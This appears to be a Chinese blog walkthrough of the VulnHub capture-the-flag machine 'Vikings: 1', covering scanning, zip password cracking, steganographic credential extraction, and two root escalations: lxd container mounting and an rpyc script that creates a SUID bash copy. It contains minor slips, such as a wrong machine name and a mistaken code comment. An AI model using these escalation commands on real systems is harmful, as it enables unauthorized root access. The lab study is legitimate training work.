vulnhub靶场之VIKINGS: 1

时间:2022-11-16 11:05:15

准备:

攻击机:虚拟机kali、本机win10。

靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/vikings/Vikings.ova,下载后直接vbox打开即可。

知识点:binwalk获取隐藏信息、base64文件解密、john爆破密码、考拉兹猜想、rpyc提权、lxd提权。

vulnhub靶场之VIKINGS: 1

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.1.0/24,获得靶机地址:192.168.1.34。

vulnhub靶场之VIKINGS: 1

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.34,显示开放了21、80端口,开启了ssh、http服务。

vulnhub靶场之VIKINGS: 1

访问web服务并检查源代码信息未发现有效信息,使用dirmap进行目录扫描,发现war.txt。

vulnhub靶场之VIKINGS: 1

访问war.txt文件给出了一个目录:/war-is-over,访问该目录:http://192.168.1.34/site/war-is-over/,返回的是一串加密的字符串。

vulnhub靶场之VIKINGS: 1

vulnhub靶场之VIKINGS: 1

字符串解密:

将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip,命令:curl http://192.168.1.34/site/war-is-over/ | base64 -d > upfine。

vulnhub靶场之VIKINGS: 1

修改文件后缀名然后进行解压文件,但是显示需要密码。使用fcrackzip进行密码的爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。

vulnhub靶场之VIKINGS: 1

fcrackzip爆破失败,那我们就使用zip2john把他的密码信息提取出来,命令:zip2john upfine.zip > passwd,然后使用john进行破解,命令:john passwd --show,成功获得密码:ragnarok123。

vulnhub靶场之VIKINGS: 1

vulnhub靶场之VIKINGS: 1

对文件进行解密,解密之后发现是一张图片。

vulnhub靶场之VIKINGS: 1

图片解密:

使用steghide获取隐藏信息,但是获取失败,就换了下工具使用binwalk获取隐藏信息,发现存在一个user文件。

vulnhub靶场之VIKINGS: 1

使用binwalk获取下user文件并进行查看,命令:binwalk -e king。查看后获得两组字符串:FamousBoatbuilder_floki@vikings和f@m0usboatbuilde7。

vulnhub靶场之VIKINGS: 1

获取shell:

根据获取的字符串信息猜测是一组账户名和密码,经过测试最终:floki:f@m0usboatbuilde7可以成功登录。

vulnhub靶场之VIKINGS: 1

在当前账户下查看下目录信息,发现了readme.txt文件和boat文件并读取文件内容,内容信息告诉我们要找到ragnar,这里猜测这是一个账户,boat文件告诉我们要进行考拉兹猜想第29个素数。

vulnhub靶场之VIKINGS: 1

vulnhub靶场之VIKINGS: 1

提权-方式一:

查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/lib/policykit-1/polkit-agent-helper-1、/usr/lib/dbus-1.0/dbus-daemon-launch-helper、/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic。之前遇到过policykit两个漏洞:CVE-2021-4034和CVE-2021-3560,在这里测试无法提权。但是lxd提权在这里是可以实现的。

这里不是一个完整的lxd提权漏洞,因为镜像等一些信息都是已经安装好的,在我们进行安装时提示我们已经存在了,所以我们直接利用他原有的镜像就可以实现提权。

vulnhub靶场之VIKINGS: 1

查看下image列表信息,命令:lxc image list。

vulnhub靶场之VIKINGS: 1

之后依次执行下面语句,成功获得root权限。

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

vulnhub靶场之VIKINGS: 1

获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

vulnhub靶场之VIKINGS: 1

提权-方式二:

考拉兹猜想:

先理解下考拉兹猜想,直接看下图,这个说的很直观。

vulnhub靶场之VIKINGS: 1

查找了一下第29个素数,显示是109,那写一个简单的脚本跑一下29的Collatz 序列。

collatz脚本
#对任意正整数n,若n为偶数则除以1,若n为奇数则乘3再加1,如此反复,其结果最终必会达到1
#博客园@upfine

num = 109
collatz=[109]
while num != 1:
    if num % 2 == 1:
        num = num * 3 + 1
    else:
        num = num / 2
    if num <= 127 and num >32:  #asii表内字符对应的10进制范围
        collatz.append(int(num))
print(collatz)
Collatz 序列结果
 [109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

vulnhub靶场之VIKINGS: 1

然后写一个简单的脚本对Collatz 序列进行转换,转换后获得一串字符串:mR)|>^/Gky[gz=\.F#j5P(,猜测是密码。

vulnhub靶场之VIKINGS: 1

获取ragnar账户shell:

尝试使用ragnar/mR)|>^/Gky[gz=\.F#j5P(进行shell登录,成功登录,在ragnar账户下发现第一个flag信息。

vulnhub靶场之VIKINGS: 1

提权:

在ragnar账户目录下,发现多出来了一个.profile文件,查看该文件内容发现以root权限调用了/usr/local/bin/rpyc_classic.py文件。

vulnhub靶场之VIKINGS: 1

查看该文件权限,显示只具有读取权限,无法写入。这里找了下脚本直接将root权限进行复制。

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
 
fn = conn.teleport(getshell)
fn()

 写入exp.py文件进行执行,会在/tmp文件夹下生成bashroot文件,执行bashroot文件(./bashroot -p)获得root权限。

vulnhub靶场之VIKINGS: 1

vulnhub靶场之VIKINGS: 1

 在root目录下发现root.txt文件,读取文件信息获取到flag。

vulnhub靶场之VIKINGS: 1